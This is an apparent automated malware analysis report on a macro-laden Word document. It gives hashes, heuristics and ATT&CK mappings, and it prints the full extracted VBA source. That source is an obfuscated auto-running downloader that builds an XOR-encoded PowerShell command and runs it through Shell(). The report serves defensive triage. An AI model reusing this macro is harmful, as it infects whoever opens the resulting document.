Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 197b0cf95e1117a1…

MALICIOUS

Office (OLE)

122.5 KB Created: 2018-06-14 20:31:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 5e38a71a19fea08030bd89602a1ab4eb SHA-1: 5f30b868d22197880be4f866861d555aa332f9f5 SHA-256: 197b0cf95e1117a10f34b86f4b48926389f661586e0dd9ea223dadf97c742b7b
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros. The 'Document_Open' macro is present and utilizes a 'Shell()' call, indicating an attempt to execute external commands. This is a common technique for downloading and executing further malicious payloads. No specific family could be identified due to the obfuscated nature of the script.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    wXwHIE = jiTCIn - PVzMh / 189 / sBuBil - 223327908 + Hex(zzMLk) * KjKCn - Round(30123)
iBUiJnw = wcnls + VBA.Shell(tkfvNd + Chr(hdsicqDd + vbKeyP + KoBWwCJjJ) + "owers" + IqckuhT + MAmJtqahEzP + zklJdiqpF + TnzFN + JrPCiY + SMnPXjEWiZ + FJwBDWWSXIs, 63072 - 63072)
qTstv = GPsNI
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18347 bytes
SHA-256: 59139791d2461609d3abcbe06ccb8406f6ef81e65cd8883f3bcc478e1f9ee1f5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
295 of 453 identifiers look randomly generated (e.g. 'LXjLZZnVWTSjiL'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LXjLZZnVWTSjiL"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function iBUiJnw()
On Error Resume Next
FwIBX = rzVAo
NsuCZ = 55762 + YStWj + (35817 * CDbl(ndHrz) - oEWAA / CSng(92717) - mJIXzB / Hex(iAGBqf) + 12729 - 16417)
McbjB = Sqr(61452)
qiCVS = VtCdt - OJVWf / 49122 / nWFBSL - 223327908 + Hex(DKYYNi) * vStzf - Round(50806)
iNwMl = trqFwJ
srkck = 19229 + GLVdQL + (26198 * CDbl(rbZzz) - JJHoj / CSng(47954) - MTScDU / Hex(DhQMV) + 77257 - 37404)
rVwaZ = Sqr(51406)
OjwKAi = doDlzu - DAMrzP / 18898 / MiKuq - 223327908 + Hex(msGzL) * FljtT - Round(60204)
EcJko = boUji
LpDTR = 98832 + rQrwz + (72011 * CDbl(hlRUTX) - tFiDt / CSng(43371) - PdRIX / Hex(AWCSO) + 88455 - 26657)
FNjLzA = Sqr(84396)
XAQKFS = UPXclc - ZnaLnK / 67710 / FZJjns - 223327908 + Hex(suWca) * RsMUi - Round(73784)
CrRcLS = tlnMhF
uqAYi = 84645 + XdGIB + (64472 * CDbl(uNqFY) - wOIhV / CSng(41066) - JHHJv / Hex(hXBMw) + 7799 - 89138)
fOKUJ = Sqr(70881)
wXwHIE = jiTCIn - PVzMh / 189 / sBuBil - 223327908 + Hex(zzMLk) * KjKCn - Round(30123)
iBUiJnw = wcnls + VBA.Shell(tkfvNd + Chr(hdsicqDd + vbKeyP + KoBWwCJjJ) + "owers" + IqckuhT + MAmJtqahEzP + zklJdiqpF + TnzFN + JrPCiY + SMnPXjEWiZ + FJwBDWWSXIs, 63072 - 63072)
qTstv = GPsNI
kwFWCG = 58454 + KjkGr + (46983 * CDbl(wjLuY) - utZJA / CSng(11888) - iBHkE / Hex(zbENHw) + 17312 - 92593)
JilCWq = Sqr(15161)
hSjLqC = NBzGoI - ACIYo / 88312 / DwPVz - 223327908 + Hex(qXwjjW) * aRUXJ - Round(47198)
AGwCH = jhiuwB
QdTTq = 81293 + ppDQa + (34050 * CDbl(wihkPQ) - RzCNN / CSng(26999) - JoDli / Hex(BwwBh) + 37125 - 12652)
LCfbpv = Sqr(71220)
BJilsz = RFccRj - zivIo / 4413 / jDvJnG - 223327908 + Hex(WlXSPJ) * uCtQCQ - Round(64160)
End Function
Private Sub Document_open()
On Error Resume Next
ErpCKC = jhHiP
GnbFs = 72928 + TEJBWN + (11102 * CDbl(BrlmCl) - EUlwrV / CSng(10320) - KjuSnP / Hex(LKimb) + 569 - 63772)
fwwYip = Sqr(42229)
MjHiHU = tZONzU - uSMkjb / 15651 / JwXjF - 223327908 + Hex(vwaBo) * ijfhKr - Round(27613)
NMmiSD = iMuIu
wZJKaO = 91530 + cnLKkt + (22700 * CDbl(fZoMXC) - LpOCwQ / CSng(70177) - suwlJV / Hex(kdSll) + 48189 - 51381)
iJpsj = Sqr(40098)
hQudw = MMwis - TPoHC / 31964 / pLumR - 223327908 + Hex(kRfsJ) * DLYMf - Round(84359)
iBUiJnw
XBXRWC = RHIuBn
XfJndc = 10755 + DjTnK + (77295 * CDbl(uDIPWs) - RtYkY / CSng(12372) - JlqWwj / Hex(OYCPaK) + 95232 - 82770)
irEUME = Sqr(71934)
QiPNPP = Ezjuvd - OHQfi / 12620 / wiKaw - 223327908 + Hex(sTlQEA) * FNQSz - Round(17954)
KbaDv = RdwDj
ilUAF = 73517 + aAkNT + (79781 * CDbl(YLArzj) - zpUHG / CSng(59635) - XPWiki / Hex(TlNKj) + 62852 - 67828)
aOHNA = Sqr(91832)
cFGAE = vzswHq - lNfjK / 49287 / anjRz - 223327908 + Hex(pPGAti) * RmRbja - Round(77185)
End Sub


Attribute VB_Name = "lUMZphWMiX"
Function IqckuhT()
On Error Resume Next
OmTUp = RWiiY - lRwCzO / 1328 / tAkWX - 223327908 + Hex(tKpBF) * wTfaR - Round(53434)
FqEOA = Sqr(97524)
XdOdzw = NWKiG
GdhCo = 98101 + jYKInt + (64312 * CDbl(OCwwm) - RLPfGU / CSng(20602) - mtMkwS / Hex(wIvLP) + 23401 - 97035)
BMqADBlhZW = "HeLL" + " . ( $V" + "erbosEpREfe" + "rEnce.ToSTRing"
NnBlOu = RZzRBQ - GimSDV / 47474 / zRqfj - 223327908 + Hex(CIuCE) * iOAJr - Round(32597)
ZFfJd = Sqr(82906)
vjmMhr = MAJnGz
iZNBww = 43391 + HhhYO + (72127 * CDbl(mVlVl) - jHnDf / CSng(91080) - sBCvG / Hex(PtRYU) + 59889 - 12449)
wJzTHJ = "()[1,3]+'X'" + "-joIN'')" + " ( " + Chr(34) + " $( sEt" + "-vARiABlE"
RQnRYO = WitRw - DwlOMP / 37658 / NQfaj - 223327908 + Hex(zYfCE) * fznoR - Round(35301)
Ypjmo = Sqr(52712)
crbDd = qTatqa
Vspkv = 66442 + nPRCO + (94290 * CDbl(Brdca) - EwdWNM / CSng(79254) - rcODci / Hex(mYQOJG) + 57727 - 24634)
WzfzDYjnMG = "  '" + "oFs' '' )" + Chr(34) + " +[sTring]" + "([CHaR[" + "]] ( 63 , "
ihsQV = Qzibzb - NhXLLY / 31720 / QdhVE - 223327908 + Hex(QqrRKP) * wzPfYn - Round(31228)
ZbBSQN = Sqr(11834)
EujQo = ZWZDSZ
HjDAH = 83347 + KWzCqN + (61577 * CDbl(FLzwu) - PShArs / CSng(19421) - YVNdfI / Hex(tnjadN) + 65515 - 94911)
FzEjaBn = "114,114, 80 " + ",108, 85,65,59" + " ,38, 59, 117" + ", 1" + "26 " + ",108" + " ,54, 116 , 1" + "21 ,113 " + ", 126,120 , "
EpDvL = wAJdw - wQmGi / 80787 / wjVki - 223327908 + Hex(QzpcQ) * qKwRk - Round(79387)
zJozJW = Sqr(50985)
wlkVnM = iGEopw
DLvRY = 402 + mKmMw + (28554 * CDbl(IjnkAv) - rwzRO / CSng(43162) - kNWZs / Hex(tEjHPQ) + 34319 - 23012)
NPokjA = "111, 59, 105 , " + "122 , 11" + "7, 127 , 116, " + "118, 32 ," + " 63 , 121,76" + " ,78 , 93 , 1" + "09 ,105" + ", 59 , 38 ,59 ,"
hWRcLE = KSHPt - voduY / 67860 / oPWAr - 223327908 + Hex(mdqDc) * dHlvcV - Round(63169)
bjjMVO = Sqr(35912)
hqmGFm = KijXi
TSdki = 9963 + pvOGX + (86375 * CDbl(GrAwB) - qINJZ / CSng(30751) - JwlTRt / Hex(sXjLjf) + 31389 - 97300)
YLqsVG = " 117 , 126 " + ", 108 ,54" + " ,1" + "16 ,121" + ", 11"
IqckuhT = BMqADBlhZW + wJzTHJ + WzfzDYjnMG + FzEjaBn + NPokjA + YLqsVG
End Function
Function MAmJtqahEzP()
On Error Resume Next
wDrEO = BTBQw - LDjdwE / 90552 / qwqqBQ - 223327908 + Hex(HzEUw) * lojub - Round(4116)
jBtfo = Sqr(50275)
NBQYA = cfrFR
iIpRzR = 71628 + SpUPiU + (31328 * CDbl(KtBZr) - znwwA / CSng(74410) - GmkljQ / Hex(STwLj) + 81881 - 471)
FXpRiOown = "3 , 126 ,120," + " 111,59,72, 9" + "8 , 104" + ",111 ,126,1" + "18 , 53, 85, 1" + "26 , 111 ,53, " + "76, 126 ," + " 1"
ZZIYpz = wwWjk - nDvBUb / 68863 / zwMvLD - 223327908 + Hex(TsOzQk) * TwEQnB - Round(91885)
wzkPNF = Sqr(88429)
RAuul = oUwYvb
qfBNBD = 96134 + uVwwAi + (51652 * CDbl(CjWCk) - pBwEH / CSng(53735) - KZIsE / Hex(FnTsXE) + 47110 - 44430)
ODPFjaco = "21 , 8" + "8 , 119 ,114 " + ", 126, 117 , " + "111 , 32"
cDCLbU = CNzZl - Obusz / 41323 / uwbAp - 223327908 + Hex(pImwq) * hddhH - Round(62332)
VGIoQ = Sqr(78175)
irmhKt = NsiKwZ
wcdvSc = 7469 + hUMEk + (99846 * CDbl(DniuXP) - IdtFf / CSng(58963) - UFlJr / Hex(bnsjSX) + 51023 - 20082)
OXpHfjliIw = " ,63 " + ",83 ,116," + " 122,1" + "22 , 1" + "17 ," + "92 ,59 ,38," + "59,60 , 11" + "5,111" + ",111 , 1"
AZDNj = rzVzVE - dolGsv / 4892 / mjCUmj - 223327908 + Hex(ZsPQwQ) * AcnmP - Round(80146)
uaDNnk = Sqr(26922)
HmpVV = ozEtMQ
vXwdbB = 42518 + frPRH + (21365 * CDbl(jktmM) - OiEdGC / CSng(1031) - kOajB / Hex(JhAGF) + 19820 - 13790)
CDYkXEw = "07 ,33 ," + " 52, " + "52" + " ,10" + "8,108 ,108 ," + "53, 124 ,116, " + "120 " + ", 12" + "1 , 122 , 116" + " , 1"
opJwC = Sobps - SqQiS / 98130 / jhYNa - 223327908 + Hex(HtEiVB) * vzwiQ - Round(77978)
IVjwDB = Sqr(94673)
lGoCh = lSHvp
kNtBt = 89224 + MZckF + (11786 * CDbl(PoISFf) - iBaNR / CSng(9311) - tHlUa / Hex(fAHaur) + 9887 - 55541)
LdpufB = "15 ,1" + "14 ,1" + "26 ,118, 5" + "3 ,"
qwiKZ = LQWnvr - kNqzs / 445 / ijEmF - 223327908 + Hex(Srwcp) * DfitP - Round(37350)
cNOkln = Sqr(45955)
oomTCM = IRFEd
mQcQb = 68567 + uSOKF + (76491 * CDbl(XVtlNi) - bruFL / CSng(26181) - wbzZsz / Hex(fVjDhZ) + 66740 - 42123)
GjausGJMCV = "12" + "0 ,116, 118" + ", 52 ,99" + " , 124"
pfzIGa = pocvf - obvDC / 23592 / oiVGQo - 223327908 + Hex(qcDiwj) * kMahpz - Round(51557)
BTSnC = Sqr(82412)
nVmLm = iLrzYn
nKkKuv = 11193 + OTTtw + (70305 * CDbl(jCUaim) - svVSA / CSng(50958) - arYpw / Hex(suYwU) + 26164 - 96373)
zwCfBrR = ",111,43 , 110 " + ",106,95 , 119, " + "119, 52 , 9" + "1, 115,111" + ",111, 107,"
MAmJtqahEzP = FXpRiOown + ODPFjaco + OXpHfjliIw + CDYkXEw + LdpufB + GjausGJMCV + zwCfBrR
End Function
Function zklJdiqpF()
On Error Resume Next
ZbcFQL = JZkLJ - DpIlfN / 73279 / oEUqzY - 223327908 + Hex(vXXFA) * TjLiHp - Round(48750)
ZbmVjK = Sqr(6531)
jWYiv = aYOlpw
LKrsSn = 53239 + lzzvZ + (8080 * CDbl(UWMOU) - uwhisD / CSng(31676) - otIno / Hex(BioXK) + 98317 - 85478)
zmcIf = "33" + ", 5" + "2,52 , 1" + "08 ,10"
EJvra = WkjzP - waSBzs / 66835 / UqlsRw - 223327908 + Hex(wQpjEt) * ianSiL - Round(34503)
Zwliii = Sqr(55928)
wZniAV = ikAzRL
WHPTnD = 27387 + NFJBj + (15837 * CDbl(CXXMCp) - jHzCTR / CSng(74297) - IijiK / Hex(ToCVQ) + 93387 - 24616)
wkWjqftrzz = "8," + "108, 53 ,1" + "22 ,104 ," + "114 ,125 ,125," + "114 ,127," + " 12" + "2 ,111 , 122"
cccCJ = qiPsE - lUGzif / 78634 / nLnWDM - 223327908 + Hex(pWnii) * IQcWc - Round(14238)
FVZYDo = Sqr(43396)
mThWm = jkjpzt
NXCZb = 51314 + TuNLz + (25557 * CDbl(rOfNXR) - ESLvM / CSng(65719) - jJtEz / Hex(QCksCk) + 89300 - 97969)
HwplPc = ", 117 " + ",116 , 11" + "9 ,114 " + ", 53,120," + " 11" + "6,"
jAHIp = tYHqRa - iHvMi / 7255 / JdNnrS - 223327908 + Hex(QRJcu) * uOFWHF - Round(14104)
iPidh = Sqr(73040)
tOnspL = kPbpY
sNQoFw = 93776 + AHbNad + (56128 * CDbl(daGXr) - YYvhrF / CSng(53015) - vzGiQu / Hex(nRdKE) + 86213 - 12762)
nGHTwJaXVOC = " 118 ," + "52 , 119,119 ," + "106 , 78" + " , 118 ,41," + "52, 91 ,1" + "15 ,"
RQjAZw = TswAiI - jFuOH / 70917 / OvVff - 223327908 + Hex(nlsvNa) * WQksd - Round(18541)
FPjcR = Sqr(37949)
sWTmSu = WTVudw
FnURWf = 55834 + zOXmR + (30113 * CDbl(ZEdww) - HtBYX / CSng(60432) - wnhRsD / Hex(RCqib) + 32244 - 72580)
OcnwwwFhmTs = "111 ,111,1" + "07 ,33,5" + "2,52 " + ", 117 , 126" + ",111,120 ,11" + "6 , 11" + "1 , 53, 120" + ", 116," + "118, 52 , 76"
VklJR = surFt - jPWUU / 93669 / CDwlUf - 223327908 + Hex(VbvFn) * EqWwi - Round(72095)
baZJok = Sqr(55568)
jzjai = NYJlNK
XCVLUu = 30108 + hADmH + (6896 * CDbl(PVBlzN) - RLuwBV / CSng(28845) - GhDsjT / Hex(YXitQC) + 94483 - 61300)
XQBvUzwPYW = " ,77, 116,67 " + ",108 ,110 ," + "82,52 ,91 , 115" + ", " + "111 ," + "111 , 107" + ", 3" + "3 ,52 ,52" + ",107 "
dUGBa = FAKAH - ssIVV / 10134 / LtdTbu - 223327908 + Hex(mCkJid) * qvVJuq - Round(28787)
YAnfhs = Sqr(22220)
zqzZw = JELDF
rFaJYz = 32304 + LCRwlR + (43180 * CDbl(tsali) - fLDXoQ / CSng(42447) - KYpQw / Hex(dhwzS) + 14751 - 91549)
cdADSDw = ", 126 " + ", 111,126 ," + " 10" + "8, 114 ,119, 1" + "19,114 ,122 " + ", 118 , " + "104, 5" + "3 ,114 ,117,12"
NjQdJA = zQUrw - KGdkC / 37607 / oRlJOF - 223327908 + Hex(FqYYF) * PtrZn - Round(72930)
VREiE = Sqr(11619)
zmRzlF = sRKcFz
zBfHt = 53742 + QBRiT + (2567 * CDbl(nLaOYj) - qBbIcG / CSng(20718) - wGYqR / Hex(Timzna) + 63987 - 71112)
dWYrGTob = "5 , 1" + "16 , 52,81 , " + "35 , 95, 9" + "5 ,45 , 120 ," + " 52" + ", 91, 115, 111" + ",111,107"
zklJdiqpF = zmcIf + wkWjqftrzz + HwplPc + nGHTwJaXVOC + OcnwwwFhmTs + XQBvUzwPYW + cdADSDw + dWYrGTob
End Function
Function TnzFN()
On Error Resume Next
XPlRtM = jjjmIG - DQzSVS / 72191 / iijXw - 223327908 + Hex(dicooS) * djWakU - Round(73832)
nVzzvX = Sqr(1932)
ZmjSi = ipPoTf
YvwvHO = 7262 + wJswll + (75319 * CDbl(OEwQz) - BkTaf / CSng(44709) - pCEtU / Hex(UwwSYi) + 40378 - 52033)
wDQSM = ", 33 , 52 , 52" + " ,108 ,108,10" + "8,53 , 126 ,10" + "9 ,126, 117," + "111 , 120 ,105," + " 126, 116,119"
SzKWVS = FSEMNU - bEpoQH / 29361 / jMQRGl - 223327908 + Hex(JPUVUO) * SPiCqi - Round(42952)
qtzYjR = Sqr(70774)
BiSXzS = zcCiwz
GkWPiC = 1936 + wToIZ + (64220 * CDbl(skzzhj) - OAzfzi / CSng(99551) - GUjzcm / Hex(Uqjoz) + 69351 - 96563)
lPaot = " ,126, 53" + ",120, 116 ,11" + "8, 52 ,113,12" + "2, 81 ,46, 114," + " 76,44 ,9" + "2,46, 52,60,5" + "3,72 ,1" + "07 , 119"
JaBVt = iUYzO - zRPbY / 75879 / InInn - 223327908 + Hex(hvQifj) * lILicU - Round(69087)
HKpnMz = Sqr(6207)
XkOPRu = vBdkZQ
GEMNHI = 78567 + szMimZ + (11291 * CDbl(QkWro) - DqUDaU / CSng(36097) - kohUJd / Hex(dXNDjs) + 28874 - 5771)
XZwHqvkvZQ = " , 114, 111, " + "51 , 60, " + "91 ," + " 60,50" + " , 32"
MVtRj = sZZUBw - iMiuSv / 71363 / QfjQMn - 223327908 + Hex(RPqVH) * DmGap - Round(20700)
NYWtAk = Sqr(26892)
fiHsA = pquOPY
ulAnNh = 23593 + SqtTd + (73053 * CDbl(GjzDDt) - EBunIr / CSng(10689) - QPHzr / Hex(KvPmX) + 24508 - 25542)
nwvAtbEK = ", 63, 1" + "13 ,125, 121,7" + "6, " + "83 , 59 , 38" + ", 59 , 63,11" + "4 , 114 , 80," + "108 ,8"
TnzFN = wDQSM + lPaot + XZwHqvkvZQ + nwvAtbEK
End Function
Function JrPCiY()
On Error Resume Next
dFEuk = MrBZHN - tVzKCS / 56536 / vHmCMA - 223327908 + Hex(rXBvW) * mCcjl - Round(31221)
CYibsI = Sqr(73915)
pNCKQ = jMswi
civpMB = 39335 + WIKij + (79033 * CDbl(aaXUc) - iuDdVz / CSng(89717) - JYQIj / Hex(WIwtYV) + 97235 - 61872)
kPphawMD = "5 ,65 , 53, 1" + "17," + " 126 ,99 , 11" + "1 , 51 , 42" + ", 55, 59 ,44, " + "46 , 43, 44"
GqYnQO = mWJIA - nXLGc / 37666 / OMjEd - 223327908 + Hex(ZfoQH) * oSFQnS - Round(95678)
sXicQ = Sqr(4561)
CWvqSz = CiRpq
qhwRs = 46749 + HAiXLq + (62562 * CDbl(TXaRC) - bYLvjP / CSng(83181) - MGLFN / Hex(FEKrN) + 47753 - 55150)
wEzfwTioAk = ", 41 , 47, 50" + " ,32 ,63" + " ,11" + "4,112 ," + "104 , 67,12" + "7, 84,"
buXVG = FGiSW - uIWpW / 97489 / jhMmd - 223327908 + Hex(VFrKdw) * HmZtap - Round(4710)
tNjhOn = Sqr(70301)
wRohEY = OVLYz
AUuHUK = 99673 + cwFCKL + (76238 * CDbl(HYoiVF) - YBzEtK / CSng(20020) - sHBozL / Hex(SHzIT) + 37361 - 66302)
PEsnNM = "59 , 38, 5" + "9,63 ,12" + "6 , 117, 109" + " ,33 , 111, 12" + "6, 118"
diTYa = fWNKzu - ijpYD / 16475 / riWiZ - 223327908 + Hex(tGHPGI) * nnnNj - Round(54438)
vciQOc = Sqr(3969)
CrdAzU = lqtLPj
nOItf = 70129 + OvBWj + (12080 * CDbl(jdPjw) - dpjlj / CSng(40917) - UARSjI / Hex(zKljK) + 34581 - 66679)
BsIzOVDhYl = " , 107, 59 ,48" + " , 5" + "9,60,71 , " + "60,59 ,48 , 59 " + ", 63 , " + "113 ,12" + "5 ,121" + ",76 , 8" + "3,59 ,48 " + ", 59,60 ,53,12"
JrPCiY = kPphawMD + wEzfwTioAk + PEsnNM + BsIzOVDhYl
End Function
Function SMnPXjEWiZ()
On Error Resume Next
wLDkMl = fldNXc - wZIDm / 13967 / REDkLm - 223327908 + Hex(uakXMB) * GULaD - Round(50491)
zVvbN = Sqr(3386)
fOTzS = bRsorL
iVuIp = 97057 + EYPzDr + (52459 * CDbl(qwcoa) - sdPWL / CSng(71758) - cOSXv / Hex(oSsiYl) + 82127 - 92988)
RVEYpGal = "6 , 99,12" + "6 ,60 ,32," + " 125, 116,10" + "5 ," + "126," + " 122 , 120 , 11" + "5 , 51 ,63"
NsEzUi = HnmYf - uCEqkl / 6632 / UGsHwJ - 223327908 + Hex(nOIvSF) * jjBAc - Round(28753)
HsDMqr = Sqr(89808)
suYST = CvnXau
iHzABw = 27360 + LspLbs + (80702 * CDbl(wcihk) - JfRrr / CSng(52033) - mNzRYo / Hex(ULZFMd) + 63941 - 4587)
WAEIk = ",87 ,97 ,115 , " + "67, 127" + ", " + "59,"
CjwVdG = cCijb - kwiczi / 17562 / kAwDD - 223327908 + Hex(AZpKL) * tYHPYt - Round(7938)
KEXTij = Sqr(40341)
YqIXrN = wWFFrO
lMqYYL = 36942 + dcMmq + (43275 * CDbl(pkJof) - QjjFwJ / CSng(78902) - CqbqLu / Hex(KbDDi) + 99882 - 24507)
otDRcQdH = "114" + ",117,59 ,63,8" + "3," + " 116 ,122,122 " + ",117 " + ", 92 , 5"
dnbbK = ijXzP - ZVOoLX / 78574 / QAwkE - 223327908 + Hex(FuSiZ) * laDKC - Round(65963)
ohwsA = Sqr(26562)
bBATl = aHsrjB
qRiAR = 49667 + SCMTVt + (85796 * CDbl(pPDEa) - ijzcS / CSng(18948) - tjwiJV / Hex(GYOGT) + 43260 - 79377)
KTXVwAz = "0, 96 ,111 ,10" + "5 , 98, 96,63" + ",121 , 76,78" + ",93, 109 ,105" + ",53 ,95, 1" + "16, 108,117 , 1" + "19 , 116 ,12"
QlXHJI = bZUCL - CDUsA / 39613 / Uarka - 223327908 + Hex(zKzEJ) * jZfRw - Round(33055)
mkXzh = Sqr(94151)
sYorH = nPDat
ULIBdr = 83743 + wFoRs + (49880 * CDbl(zzSDl) - MwhcIp / CSng(62287) - wCTYs / Hex(zcYaT) + 21957 - 21096)
PhGkJAjAN = "2, 127 ,93 , 1" + "14, 119 ," + " 126" + " ,51 ,6" + "3,87,97,"
oKCNGT = dSdzv - wfdfO / 26417 / bjzvws - 223327908 + Hex(BrCfoW) * GlBdQq - Round(53152)
WYWnws = Sqr(6693)
whBwFQ = DKiPi
MmVptm = 64734 + IEiVLu + (53326 * CDbl(WmXbSX) - TcmTZO / CSng(80158) - hZKvwE / Hex(XJjqoc) + 45335 - 57026)
zwjOEbILz = "115,67 ,127" + ",53 ,79, " + "116 ," + " 72,111" + ",105,114 ,117" + ", 124 " + ", 51 , 50 , 5" + "5 ,59, " + "63 , 1" + "14 ,112,"
zSFjHv = rKmwQw - nWBwOw / 82612 / jovDv - 223327908 + Hex(JzCGbr) * fpNCP - Round(61347)
cEASJ = Sqr(43813)
Vzait = ttHhi
FFLHO = 28405 + GlQwI + (47765 * CDbl(rtbCz) - QNNAU / CSng(30882) - XHwuzK / Hex(YAauO) + 3982 - 37876)
smzfHIkKdv = " 104, 6" + "7,127, 84, 50 ," + " 32,72,1" + "11, 12"
jBLYwF = dMsiV - KHLBhk / 11878 / NIOwj - 223327908 + Hex(HwAAMV) * PZnKOw - Round(87952)
aEYXz = Sqr(25065)
PIPlU = oizUv
pjlRo = 7625 + HiLjs + (77842 * CDbl(qHjnv) - ShDYYJ / CSng(66803) - wbziK / Hex(BbuYZ) + 97549 - 28940)
jTPuHLiKfUb = "2 ,105 ,111, " + "54, " + "75 ,105 , 11" + "6,120,1" + "26 , 104 ," + "10" + "4, "
ZuzpP = IQjLZj - RkGzAj / 16836 / zTzIp - 223327908 + Hex(pqLDjw) * aUcGRN - Round(49412)
ddFTlV = Sqr(62490)
ifudnO = tXqMG
TszbM = 22076 + fLsRz + (66278 * CDbl(hXqTmM) - idTTw / CSng(60327) - FcKAOb / Hex(hqiBmt) + 34946 - 42937)
XAXfOZRsWBE = "59, 63 , 114 , " + "112 ,104" + " , 67 ,12" + "7,84 ,32, 121" + " ,1" + "05, 126, 122,1" + "12 , 32,10" + "2," + " 120"
SMnPXjEWiZ = RVEYpGal + WAEIk + otDRcQdH + KTXVwAz + PhGkJAjAN + zwjOEbILz + smzfHIkKdv + jTPuHLiKfUb + XAXfOZRsWBE
End Function
Function FJwBDWWSXIs()
On Error Resume Next
oYhpt = qGXhd - vNMrXB / 36596 / rcWGME - 223327908 + Hex(YLSXP) * ZjJSD - Round(67405)
LTdUb = Sqr(4306)
GhsnFL = wUkoXF
bAjamT = 49847 + Iqmur + (31241 * CDbl(siSjht) - HVjfvs / CSng(82720) - vYhzt / Hex(ZrbGKm) + 47747 - 4097)
iMSYtZMN = " ,122,111, " + "120 , 115 ,96" + ",108 " + ",105, 114" + ",111,126 ,54" + " ,115,11" + "6 ,104 ,111 ," + " 59 , 63 , 6" + "8 ,53, 94,99, 1"
ClADVH = IcwqJ - LrFIVb / 11713 / jtXiGz - 223327908 + Hex(aDWMZ) * jbECjn - Round(10243)
ZiSuHl = Sqr(16567)
BUjcI = HmwbFS
LiMBa = 56010 + rSvEKO + (50869 * CDbl(iDZTS) - pWttw / CSng(58337) - hZjNEG / Hex(uXHsa) + 90061 - 44014)
LmiozNq = "20 ,126 , 10" + "7 " + ",111,114, 116" + ", 1" + "17 ,53,"
AVBDEZ = BzacT - saNkT / 64006 / ZRKzd - 223327908 + Hex(TsqnzE) * lkjVa - Round(12377)
wadcjX = Sqr(24254)
PbENqO = NmmJCz
scVOK = 7543 + YcdjOi + (31279 * CDbl(GmoAw) - STUPj / CSng(52381) - RkCWi / Hex(icjUd) + 2706 - 35167)
OiQEPPYO = "86, 126," + "104 , 104, 1" + "22 , 12" + "4 ,12" + "6, "
FYhCSk = lCbuo - XkPrKG / 82575 / YZJlU - 223327908 + Hex(Zmhawc) * nBNjw - Round(53218)
UJbAj = Sqr(26899)
UfVCY = jGzQrQ
oGiKCZ = 58572 + PKLaY + (35652 * CDbl(IusJN) - DuwIa / CSng(59897) - MsZvjO / Hex(iBVSA) + 53805 - 6518)
YAmjDdKTsv = "32, 102, 1" + "02) " + "| f" + "OrEACH-oBj" + "eCt {["
vwCcQV = nSwGY - WGIih / 23684 / PnsXGs - 223327908 + Hex(UiUpAW) * dGTdl - Round(38673)
KcfzAs = Sqr(50206)
QTqFn = hjukp
XshzYR = 95206 + mwVBvL + (59234 * CDbl(jBKOiY) - EiDzKS / CSng(80804) - wkYFVF / Hex(pOwqj) + 34102 - 96612)
LkniLiadjz = "CHaR](" + " $_ -BXOr 0x" + "1b " + ") })+" + Chr(34) + "$(SET" + "-item  'V" + "aRiablE:ofs'" + " ' ' )" + Chr(34) + " )"
FJwBDWWSXIs = iMSYtZMN + LmiozNq + OiQEPPYO + YAmjDdKTsv + LkniLiadjz
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.